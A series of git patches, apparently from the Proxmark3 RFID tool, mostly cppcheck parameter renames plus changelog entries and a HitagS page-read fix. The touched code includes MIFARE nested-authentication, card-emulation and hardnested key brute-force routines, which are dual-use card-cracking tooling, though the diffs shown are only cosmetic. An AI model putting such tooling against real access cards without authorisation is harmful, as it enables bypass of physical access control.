if (!session || !session->Authenticated || !mac || !data || !datalen) return 1; memset(mac, 0x00, 8); @@ -168,7 +168,7 @@ int CalculateMAC(mf4Session *session, MACType_t mtype, uint8_t blockNum, uint8_t return aes_cmac8(NULL, session->Kmac, macdata, mac, macdatalen); } -int MifareAuth4(mf4Session *session, uint8_t *keyn, uint8_t *key, bool activateField, bool leaveSignalON, bool dropFieldIfError, bool verbose, bool silentMode) { +int MifareAuth4(mf4Session_t *session, uint8_t *keyn, uint8_t *key, bool activateField, bool leaveSignalON, bool dropFieldIfError, bool verbose, bool silentMode) { uint8_t data[257] = {0}; int datalen = 0; @@ -335,7 +335,7 @@ int MFPCommitPerso(bool activateField, bool leaveSignalON, uint8_t *dataout, int return intExchangeRAW14aPlus(rcmd, sizeof(rcmd), activateField, leaveSignalON, dataout, maxdataoutlen, dataoutlen); } -int MFPReadBlock(mf4Session *session, bool plain, uint8_t blockNum, uint8_t blockCount, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, uint8_t *mac) { +int MFPReadBlock(mf4Session_t *session, bool plain, uint8_t blockNum, uint8_t blockCount, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, uint8_t *mac) { uint8_t rcmd[4 + 8] = {(plain ? (0x37) : (0x33)), blockNum, 0x00, blockCount}; if (!plain && session) CalculateMAC(session, mtypReadCmd, blockNum, blockCount, rcmd, 4, &rcmd[4], VerboseMode); @@ -353,7 +353,7 @@ int MFPReadBlock(mf4Session *session, bool plain, uint8_t blockNum, uint8_t bloc return 0; } -int MFPWriteBlock(mf4Session *session, uint8_t blockNum, uint8_t *data, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, uint8_t *mac) { +int MFPWriteBlock(mf4Session_t *session, uint8_t blockNum, uint8_t *data, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, uint8_t *mac) { uint8_t rcmd[1 + 2 + 16 + 8] = {0xA3, blockNum, 0x00}; memmove(&rcmd[3], data, 16); if (session) @@ -382,7 +382,7 @@ int mfpReadSector(uint8_t sectorNo, uint8_t keyType, uint8_t *key, uint8_t *data if (verbose) PrintAndLogEx(INFO, "--sector[%d]:%02x key:%04x", mfNumBlocksPerSector(sectorNo), sectorNo, uKeyNum); - mf4Session session; + mf4Session_t session; int res = MifareAuth4(&session, keyn, key, true, true, true, verbose, false); if (res) { PrintAndLogEx(ERR, "Sector %d authentication error: %d", sectorNo, res); diff --git a/client/mifare/mifare4.h b/client/mifare/mifare4.h index fe07aceaf..3efb9e43a 100644 --- a/client/mifare/mifare4.h +++ b/client/mifare/mifare4.h @@ -27,7 +27,7 @@ typedef struct { uint8_t Kmac[16]; uint16_t R_Ctr; uint16_t W_Ctr; -} mf4Session; +} mf4Session_t; typedef enum { mtypReadCmd, @@ -44,13 +44,13 @@ typedef struct { void mfpSetVerboseMode(bool verbose); const char *mfpGetErrorDescription(uint8_t errorCode); -int CalculateMAC(mf4Session *session, MACType_t mtype, uint8_t blockNum, uint8_t blockCount, uint8_t *data, int datalen, uint8_t *mac, bool verbose); -int MifareAuth4(mf4Session *session, uint8_t *keyn, uint8_t *key, bool activateField, bool leaveSignalON, bool dropFieldIfError, bool verbose, bool silentMode); +int CalculateMAC(mf4Session_t *session, MACType_t mtype, uint8_t blockNum, uint8_t blockCount, uint8_t *data, int datalen, uint8_t *mac, bool verbose); +int MifareAuth4(mf4Session_t *session, uint8_t *keyn, uint8_t *key, bool activateField, bool leaveSignalON, bool dropFieldIfError, bool verbose, bool silentMode); int MFPWritePerso(uint8_t *keyNum, uint8_t *key, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); int MFPCommitPerso(bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); -int MFPReadBlock(mf4Session *session, bool plain, uint8_t blockNum, uint8_t blockCount, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, uint8_t *mac); -int MFPWriteBlock(mf4Session *session, uint8_t blockNum, uint8_t *data, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, uint8_t *mac); +int MFPReadBlock(mf4Session_t *session, bool plain, uint8_t blockNum, uint8_t blockCount, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, uint8_t *mac); +int MFPWriteBlock(mf4Session_t *session, uint8_t blockNum, uint8_t *data, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, uint8_t *mac); int mfpReadSector(uint8_t sectorNo, uint8_t keyType, uint8_t *key, uint8_t *dataout, bool verbose); const char *mfGetAccessConditionsDesc(uint8_t blockn, uint8_t *data); From 1c9405605766fa8b07a499afd052a4ae41a9c7cd Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 30 Dec 2019 21:17:02 +0100 Subject: [PATCH 150/418] cppcheck --- armsrc/legicrfsim.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/armsrc/legicrfsim.h b/armsrc/legicrfsim.h index 3d25fae0c..f7be94165 100644 --- a/armsrc/legicrfsim.h +++ b/armsrc/legicrfsim.h @@ -14,6 +14,6 @@ #include "common.h" -void LegicRfSimulate(uint8_t tagtype); +void LegicRfSimulate(uint8_t cardtype); #endif /* __LEGICRFSIM_H */ From 60719c77889ee53217304117ada1e3d61149976d Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 30 Dec 2019 21:17:37 +0100 Subject: [PATCH 151/418] cppcheck --- armsrc/lfadc.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/armsrc/lfadc.h b/armsrc/lfadc.h index 603d689a4..2d7836a38 100644 --- a/armsrc/lfadc.h +++ b/armsrc/lfadc.h @@ -27,6 +27,6 @@ void lf_init(bool reader); void lf_finalize(); size_t lf_detect_field_drop(size_t max); bool lf_manchester_send_bytes(const uint8_t *frame, size_t frame_len); -void lf_modulation(bool mod); +void lf_modulation(bool modulation); #endif // __LFADC_H__ From 7eac4818abd4d3811bcb21d39d3ab4b980e2aca0 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 30 Dec 2019 21:19:51 +0100 Subject: [PATCH 152/418] cppcheck --- armsrc/mifarecmd.c | 8 ++++---- armsrc/mifarecmd.h | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index 643454672..ec561df3d 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -1727,13 +1727,13 @@ void MifareEMemGet(uint8_t blockno, uint8_t blockcnt) { // Load a card into the emulator memory // //----------------------------------------------------------------------------- -int MifareECardLoadExt(uint8_t numSectors, uint8_t keyType) { - int retval = MifareECardLoad(numSectors, keyType); +int MifareECardLoadExt(uint8_t sectorcnt, uint8_t keyType) { + int retval = MifareECardLoad(sectorcnt, keyType); reply_ng(CMD_HF_MIFARE_EML_LOAD, retval, NULL, 0); return retval; } -int MifareECardLoad(uint8_t numSectors, uint8_t keyType) { +int MifareECardLoad(uint8_t sectorcnt, uint8_t keyType) { uint32_t cuid = 0; struct Crypto1State mpcs = {0, 0}; @@ -1759,7 +1759,7 @@ int MifareECardLoad(uint8_t numSectors, uint8_t keyType) { goto out; } - for (uint8_t sectorNo = 0; sectorNo < numSectors; sectorNo++) { + for (uint8_t sectorNo = 0; sectorNo < sectorcnt; sectorNo++) { uint64_t ui64Key = emlGetKey(sectorNo, keyType); if (sectorNo == 0) { if (mifare_classic_auth(pcs, cuid, FirstBlockOfSector(sectorNo), keyType, ui64Key, AUTH_FIRST)) { diff --git a/armsrc/mifarecmd.h b/armsrc/mifarecmd.h index 2cb22d28b..5e5e4150e 100644 --- a/armsrc/mifarecmd.h +++ b/armsrc/mifarecmd.h @@ -34,7 +34,7 @@ void MifareEMemClr(void); void MifareEMemSet(uint8_t blockno, uint8_t blockcnt, uint8_t blockwidth, uint8_t *datain); void MifareEMemGet(uint8_t blockno, uint8_t blockcnt); int MifareECardLoad(uint8_t sectorcnt, uint8_t keytype); -int MifareECardLoadExt(uint8_t numSectors, uint8_t keyType); +int MifareECardLoadExt(uint8_t sectorcnt, uint8_t keyType); void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain); // Work with "magic Chinese" card void MifareCGetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain); From ddaa88406414ebdee6dc74d6f99e7177d780bdea Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 30 Dec 2019 21:22:51 +0100 Subject: [PATCH 153/418] cppcheck --- armsrc/spiffs_nucleus.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/armsrc/spiffs_nucleus.h b/armsrc/spiffs_nucleus.h index c437faf30..d4ac87234 100644 --- a/armsrc/spiffs_nucleus.h +++ b/armsrc/spiffs_nucleus.h @@ -758,7 +758,7 @@ s32_t spiffs_gc_erase_page_stats( s32_t spiffs_gc_find_candidate( spiffs *fs, - spiffs_block_ix **block_candidate, + spiffs_block_ix **block_candidates, int *candidate_count, char fs_crammed); From e2f59d215fed5dbba2e68e21e6c14120587a305f Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 30 Dec 2019 21:29:04 +0100 Subject: [PATCH 154/418] cppcheck --- armsrc/mifareutil.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/armsrc/mifareutil.c b/armsrc/mifareutil.c index 97ac6ee90..cfd8f4b35 100644 --- a/armsrc/mifareutil.c +++ b/armsrc/mifareutil.c @@ -92,7 +92,7 @@ int mifare_sendcmd_short(struct Crypto1State *pcs, uint8_t crypted, uint8_t cmd, AddCrc14A(dcmd, 2); memcpy(ecmd, dcmd, sizeof(dcmd)); - if (crypted) { + if (pcs && crypted) { par[0] = 0; for (pos = 0; pos < 4; pos++) { ecmd[pos] = crypto1_byte(pcs, 0x00, 0) ^ dcmd[pos]; From e5db57747c1568ad44788a2673c82f52192957c9 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 30 Dec 2019 21:31:56 +0100 Subject: [PATCH 155/418] cppcheck --- armsrc/mifarecmd.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index ec561df3d..9bcec8862 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -1727,13 +1727,13 @@ void MifareEMemGet(uint8_t blockno, uint8_t blockcnt) { // Load a card into the emulator memory // //----------------------------------------------------------------------------- -int MifareECardLoadExt(uint8_t sectorcnt, uint8_t keyType) { - int retval = MifareECardLoad(sectorcnt, keyType); +int MifareECardLoadExt(uint8_t sectorcnt, uint8_t keytype) { + int retval = MifareECardLoad(sectorcnt, keytype); reply_ng(CMD_HF_MIFARE_EML_LOAD, retval, NULL, 0); return retval; } -int MifareECardLoad(uint8_t sectorcnt, uint8_t keyType) { +int MifareECardLoad(uint8_t sectorcnt, uint8_t keytype) { uint32_t cuid = 0; struct Crypto1State mpcs = {0, 0}; @@ -1760,14 +1760,14 @@ int MifareECardLoad(uint8_t sectorcnt, uint8_t keyType) { } for (uint8_t sectorNo = 0; sectorNo < sectorcnt; sectorNo++) { - uint64_t ui64Key = emlGetKey(sectorNo, keyType); + uint64_t ui64Key = emlGetKey(sectorNo, keytype); if (sectorNo == 0) { - if (mifare_classic_auth(pcs, cuid, FirstBlockOfSector(sectorNo), keyType, ui64Key, AUTH_FIRST)) { + if (mifare_classic_auth(pcs, cuid, FirstBlockOfSector(sectorNo), keytype, ui64Key, AUTH_FIRST)) { if (DBGLEVEL > DBG_ERROR) Dbprintf("Sector[%2d]. Auth error", sectorNo); break; } } else { - if (mifare_classic_auth(pcs, cuid, FirstBlockOfSector(sectorNo), keyType, ui64Key, AUTH_NESTED)) { + if (mifare_classic_auth(pcs, cuid, FirstBlockOfSector(sectorNo), keytype, ui64Key, AUTH_NESTED)) { retval = PM3_ESOFT; if (DBGLEVEL > DBG_ERROR) Dbprintf("Sector[%2d]. Auth nested error", sectorNo); goto out; From 2cfe4d33c5a9091611c1c9476d28c9b32f1ce9f0 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 30 Dec 2019 21:31:59 +0100 Subject: [PATCH 156/418] cppcheck --- armsrc/mifarecmd.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/armsrc/mifarecmd.h b/armsrc/mifarecmd.h index 5e5e4150e..a127e79af 100644 --- a/armsrc/mifarecmd.h +++ b/armsrc/mifarecmd.h @@ -34,7 +34,7 @@ void MifareEMemClr(void); void MifareEMemSet(uint8_t blockno, uint8_t blockcnt, uint8_t blockwidth, uint8_t *datain); void MifareEMemGet(uint8_t blockno, uint8_t blockcnt); int MifareECardLoad(uint8_t sectorcnt, uint8_t keytype); -int MifareECardLoadExt(uint8_t sectorcnt, uint8_t keyType); +int MifareECardLoadExt(uint8_t sectorcnt, uint8_t keytype); void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain); // Work with "magic Chinese" card void MifareCGetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain); From eb635a2efc9c12f515f946ff9f7c82883b1e9017 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 30 Dec 2019 21:37:56 +0100 Subject: [PATCH 157/418] cppcheck --- armsrc/spiffs.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/armsrc/spiffs.h b/armsrc/spiffs.h index d75335e40..f10c86db0 100644 --- a/armsrc/spiffs.h +++ b/armsrc/spiffs.h @@ -577,7 +577,7 @@ s32_t SPIFFS_close(spiffs *fs, spiffs_file fh); * @param old path of file to rename * @param newPath new path of file */ -s32_t SPIFFS_rename(spiffs *fs, const char *old, const char *newPath); +s32_t SPIFFS_rename(spiffs *fs, const char *old_path, const char *new_path); #if SPIFFS_OBJ_META_LEN /** @@ -801,7 +801,7 @@ s32_t SPIFFS_ix_unmap(spiffs *fs, spiffs_file fh); * @param fh the mapped file handle of the file to remap * @param offset new absolute file offset where to start the index map */ -s32_t SPIFFS_ix_remap(spiffs *fs, spiffs_file fh, u32_t offs); +s32_t SPIFFS_ix_remap(spiffs *fs, spiffs_file fh, u32_t offset); /** * Utility function to get number of spiffs_page_ix entries a map buffer must From fd4edc390f537c82110f7169b6bdf60f77a9571d Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 30 Dec 2019 21:39:48 +0100 Subject: [PATCH 158/418] cppcheck --- armsrc/spiffs_nucleus.h | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/armsrc/spiffs_nucleus.h b/armsrc/spiffs_nucleus.h index d4ac87234..7fbf98acf 100644 --- a/armsrc/spiffs_nucleus.h +++ b/armsrc/spiffs_nucleus.h @@ -699,7 +699,7 @@ void spiffs_cb_object_event( spiffs *fs, spiffs_page_object_ix *objix, int ev, - spiffs_obj_id obj_id, + spiffs_obj_id obj_id_raw, spiffs_span_ix spix, spiffs_page_ix new_pix, u32_t new_size); @@ -707,14 +707,14 @@ void spiffs_cb_object_event( s32_t spiffs_object_open_by_id( spiffs *fs, spiffs_obj_id obj_id, - spiffs_fd *f, + spiffs_fd *fd, spiffs_flags flags, spiffs_mode mode); s32_t spiffs_object_open_by_page( spiffs *fs, spiffs_page_ix pix, - spiffs_fd *f, + spiffs_fd *fd, spiffs_flags flags, spiffs_mode mode); @@ -738,8 +738,8 @@ s32_t spiffs_object_read( s32_t spiffs_object_truncate( spiffs_fd *fd, - u32_t new_len, - u8_t remove_object); + u32_t new_size, + u8_t remove_full); s32_t spiffs_object_find_object_index_header_by_name( spiffs *fs, From 56d25b0786527f92cea417423c0fc1d46587ebdc Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 30 Dec 2019 21:40:31 +0100 Subject: [PATCH 159/418] cppcheck --- armsrc/string.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/armsrc/string.h b/armsrc/string.h index 781641fb9..0ebb4ab54 100644 --- a/armsrc/string.h +++ b/armsrc/string.h @@ -24,7 +24,7 @@ char *strcat(char *dest, const char *src); void strreverse(char s[]); void itoa(int n, char s[]); char *strcpy(char *dst, const char *src); -char *strncpy(char *destination, const char *source, size_t num); +char *strncpy(char *dst, const char *src, size_t n); int strcmp(const char *s1, const char *s2); char *strtok(char *s, const char *delim); char *strchr(const char *s, int c); From c193eef3261d00d58a07a3f3169b31e583713198 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 30 Dec 2019 21:42:27 +0100 Subject: [PATCH 160/418] cppcheck --- client/aidsearch.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/aidsearch.h b/client/aidsearch.h index 9997d3868..00d2b134a 100644 --- a/client/aidsearch.h +++ b/client/aidsearch.h @@ -18,7 +18,7 @@ #include -int PrintAIDDescription(json_t *root, char *aid, bool verbose); +int PrintAIDDescription(json_t *xroot, char *aid, bool verbose); int PrintAIDDescriptionBuf(json_t *root, uint8_t *aid, size_t aidlen, bool verbose); json_t *AIDSearchInit(bool verbose); json_t *AIDSearchGetElm(json_t *root, int elmindx); From 2137e2b6c871ebaae3029188db091cf5f278a8dd Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 30 Dec 2019 21:43:03 +0100 Subject: [PATCH 161/418] cppcheck --- client/cmdhflist.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/cmdhflist.h b/client/cmdhflist.h index d13285bc4..fbc8700d6 100644 --- a/client/cmdhflist.h +++ b/client/cmdhflist.h @@ -48,7 +48,7 @@ void annotateIso14443b(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); void annotateIso14443a(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); void annotateMfDesfire(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); void annotateMifare(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize, uint8_t *parity, uint8_t paritysize, bool isResponse); -void annotateLTO(char *explanation, size_t size, uint8_t *cmd, uint8_t cmdsize); +void annotateLTO(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize); bool DecodeMifareData(uint8_t *cmd, uint8_t cmdsize, uint8_t *parity, bool isResponse, uint8_t *mfData, size_t *mfDataLen); bool NTParityChk(TAuthData *ad, uint32_t ntx); From 7a867cadcd992f9186d5178310c3a572f99977c5 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 30 Dec 2019 21:43:34 +0100 Subject: [PATCH 162/418] cppcheck --- client/cmdlffdx.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/cmdlffdx.h b/client/cmdlffdx.h index d8b666ccb..63043c7c2 100644 --- a/client/cmdlffdx.h +++ b/client/cmdlffdx.h @@ -14,7 +14,7 @@ int CmdLFFdx(const char *Cmd); int detectFDXB(uint8_t *dest, size_t *size); int demodFDX(void); -int getFDXBits(uint64_t national_id, uint16_t country, uint8_t isanimal, uint8_t isextended, uint32_t extended, uint8_t *bits); +int getFDXBits(uint64_t national_id, uint16_t country, uint8_t is_animal, uint8_t is_extended, uint32_t extended, uint8_t *bits); #endif From 5de11784660df530bbe260007c0a23ff7ecc25d1 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 30 Dec 2019 21:44:42 +0100 Subject: [PATCH 163/418] cppcheck --- client/emv/apduinfo.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/emv/apduinfo.h b/client/emv/apduinfo.h index 590c72885..d319b4e43 100644 --- a/client/emv/apduinfo.h +++ b/client/emv/apduinfo.h @@ -59,7 +59,7 @@ typedef struct { extern int APDUDecode(uint8_t *data, int len, APDUStruct *apdu); extern int APDUEncode(APDUStruct *apdu, uint8_t *data, int *len); -extern int APDUEncodeS(sAPDU *apdu, bool extended, uint16_t le, uint8_t *data, int *len); +extern int APDUEncodeS(sAPDU *sapdu, bool extended, uint16_t le, uint8_t *data, int *len); extern void APDUPrint(APDUStruct apdu); extern void APDUPrintEx(APDUStruct apdu, size_t maxdatalen); From 155444440eb134bdb70127a6a022819aca1528ac Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 30 Dec 2019 21:45:18 +0100 Subject: [PATCH 164/418] cppcheck --- client/emv/emv_pk.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/emv/emv_pk.h b/client/emv/emv_pk.h index 015a06dd6..eda5883a8 100644 --- a/client/emv/emv_pk.h +++ b/client/emv/emv_pk.h @@ -35,7 +35,7 @@ struct emv_pk { #define EXPIRE(yy, mm, dd) 0x ## yy ## mm ## dd -struct emv_pk *emv_pk_parse_pk(char *bufm, size_t buflen); +struct emv_pk *emv_pk_parse_pk(char *buf, size_t buflen); struct emv_pk *emv_pk_new(size_t modlen, size_t explen); void emv_pk_free(struct emv_pk *pk); char *emv_pk_dump_pk(const struct emv_pk *pk); From 025c98fc53c1433f2babe6a79a1542eca695c33f Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 30 Dec 2019 21:47:18 +0100 Subject: [PATCH 165/418] cppcheck --- client/hardnested/hardnested_bruteforce.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/hardnested/hardnested_bruteforce.c b/client/hardnested/hardnested_bruteforce.c index 682257415..159454110 100644 --- a/client/hardnested/hardnested_bruteforce.c +++ b/client/hardnested/hardnested_bruteforce.c @@ -294,7 +294,7 @@ static void write_benchfile(statelist_t *candidates) { #endif -bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint32_t num_acquired_nonces, uint64_t maximum_states, noncelist_t *nonces, uint8_t *best_first_bytes, uint64_t *foundkey) { +bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint32_t num_acquired_nonces, uint64_t maximum_states, noncelist_t *nonces, uint8_t *best_first_bytes, uint64_t *found_key) { #if defined (WRITE_BENCH_FILE) write_benchfile(candidates); #endif @@ -353,7 +353,7 @@ bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint *bf_rate = (float)num_keys_tested / ((float)elapsed_time / 1000.0); if (keys_found > 0) - *foundkey = found_bs_key; + *found_key = found_bs_key; return (keys_found != 0); } From 7dc65bf0f7806e6272dce2ab76a80851def76fcd Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 30 Dec 2019 22:21:41 +0100 Subject: [PATCH 166/418] cppcheck --- armsrc/cmd.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/armsrc/cmd.c b/armsrc/cmd.c index 4b6dd3c1c..61ceda2f0 100644 --- a/armsrc/cmd.c +++ b/armsrc/cmd.c @@ -43,10 +43,10 @@ bool reply_via_fpc = false; bool reply_via_usb = false; int reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len) { - PacketResponseOLD txcmd; + PacketResponseOLD txcmd = {0}; - for (size_t i = 0; i < sizeof(PacketResponseOLD); i++) - ((uint8_t *)&txcmd)[i] = 0x00; +// for (size_t i = 0; i < sizeof(PacketResponseOLD); i++) +// ((uint8_t *)&txcmd)[i] = 0x00; // Compose the outgoing command frame txcmd.cmd = cmd; From 49d02981297e551171d7c156cf8878696bcfa4a0 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 31 Dec 2019 15:24:01 +0100 Subject: [PATCH 167/418] textual --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index a4a91d13c..e29cf56b6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + - Chg `hf mf chk | fchk` faster authentication by lower timeout limit. (@pwpiwi) - Chg `hf mf hardnested` - now detects "static / fixed" nonce tags and exits (@iceman1001) - Chg `hf mf csave` - now uses UID in filename (@iceman1001) - Fix `hf mf chk` - read block B logical error. #489 (@iceman1001) From b37383c48bd9d6b2fb7373f9650b37337fbc9a13 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 31 Dec 2019 15:25:22 +0100 Subject: [PATCH 168/418] textual --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index e29cf56b6..0eac26074 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + - Chg `lf t55xx dump` - now supports saving to JSON (@iceman1001) - Chg `hf mf chk | fchk` faster authentication by lower timeout limit. (@pwpiwi) - Chg `hf mf hardnested` - now detects "static / fixed" nonce tags and exits (@iceman1001) - Chg `hf mf csave` - now uses UID in filename (@iceman1001) From 4677016aa6d3c1f97628d144edc1c8e38edde3f9 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 31 Dec 2019 15:27:57 +0100 Subject: [PATCH 169/418] textual --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 0eac26074..ee2468215 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,8 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + - Chg mifare classic keytable output refactored and uses colors (@iceman1001) + - Fix `hf mf nested` - now writes the correct blockno (@iceman1001) - Chg `lf t55xx dump` - now supports saving to JSON (@iceman1001) - Chg `hf mf chk | fchk` faster authentication by lower timeout limit. (@pwpiwi) - Chg `hf mf hardnested` - now detects "static / fixed" nonce tags and exits (@iceman1001) From d748b2c8aba6df1a596951bd505bd1c600fa0b00 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 31 Dec 2019 15:29:46 +0100 Subject: [PATCH 170/418] textual --- client/cmdhfmf.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index 486457fed..9b43f5a3d 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -3350,7 +3350,7 @@ void printKeyTableEx(uint8_t sectorscnt, sector_t *e_sector, uint8_t start_secto PrintAndLogEx(NORMAL, "|---|----------------|---|----------------|---|"); if (e_sector[0].foundKey[0] > 1) { - PrintAndLogEx(NORMAL, "( " + PrintAndLogEx(INFO, "( " _YELLOW_("D") ":Dictionary / " _YELLOW_("S") ":darkSide / " _YELLOW_("U") ":User / " @@ -3361,7 +3361,7 @@ void printKeyTableEx(uint8_t sectorscnt, sector_t *e_sector, uint8_t start_secto ")" ); } else { - PrintAndLogEx(NORMAL, "(" _YELLOW_("0") ": Failed / " _YELLOW_("1") ": Success)"); + PrintAndLogEx(INFO, "( " _YELLOW_("0") ":Failed / " _YELLOW_("1") ":Success)"); } } From 714d5105e7517d056b379345e78ea7b134fafdc4 Mon Sep 17 00:00:00 2001 From: Thorsten Bosbach Date: Tue, 31 Dec 2019 17:22:10 +0100 Subject: [PATCH 171/418] fix hitagS read/info output --- armsrc/hitagS.c | 40 ++++++++++++++++++++-------------------- 1 file changed, 20 insertions(+), 20 deletions(-) diff --git a/armsrc/hitagS.c b/armsrc/hitagS.c index 7c8a01523..9d86be616 100644 --- a/armsrc/hitagS.c +++ b/armsrc/hitagS.c @@ -1273,7 +1273,7 @@ void ReadHitagS(hitag_function htf, hitag_data *htd) { } else if (tag.pstate == HT_SELECTED && tag.tstate == HT_READING_PAGE && rxlen > 0) { - //save received data + //save received data - 40 bits z = 0; for (i = 0; i < 5; i++) { for (j = 0; j < 8; j++) { @@ -1284,33 +1284,33 @@ void ReadHitagS(hitag_function htf, hitag_data *htd) { } } k = 0; - for (i = 4; i < 36; i++) { + for (i = 4; i < 36; i++) { // ignore first 4 bits: SOF pageData[k] = response_bit[i]; k++; } - for (i = 0; i < 4; i++) - tag.pages[sendNum / 4][sendNum % 4] = 0x0; - for (i = 0; i < 4; i++) { - tag.pages[sendNum / 4][sendNum % 4] += ((pageData[i * 8] << 7) - | (pageData[1 + (i * 8)] << 6) - | (pageData[2 + (i * 8)] << 5) - | (pageData[3 + (i * 8)] << 4) - | (pageData[4 + (i * 8)] << 3) - | (pageData[5 + (i * 8)] << 2) - | (pageData[6 + (i * 8)] << 1) | pageData[7 + (i * 8)]) - << (i * 8); + for (i = 0; i < 4; i++) // set page bytes to 0 + tag.pages[sendNum][i] = 0x0; + for (i = 0; i < 4; i++) { // set page bytes from recieved bits + tag.pages[sendNum][i] += ((pageData[i * 8] << 7) + | (pageData[1 + (i * 8)] << 6) + | (pageData[2 + (i * 8)] << 5) + | (pageData[3 + (i * 8)] << 4) + | (pageData[4 + (i * 8)] << 3) + | (pageData[5 + (i * 8)] << 2) + | (pageData[6 + (i * 8)] << 1) + | pageData[7 + (i * 8)]); } if (tag.auth && tag.LKP && sendNum == 1) { Dbprintf("Page[%2d]: %02X %02X %02X %02X", sendNum, pwdh0, - (tag.pages[sendNum / 4][sendNum % 4] >> 16) & 0xff, - (tag.pages[sendNum / 4][sendNum % 4] >> 8) & 0xff, - tag.pages[sendNum / 4][sendNum % 4] & 0xff); + (tag.pages[sendNum][2]) & 0xff, + (tag.pages[sendNum][1]) & 0xff, + tag.pages[sendNum][0] & 0xff); } else { 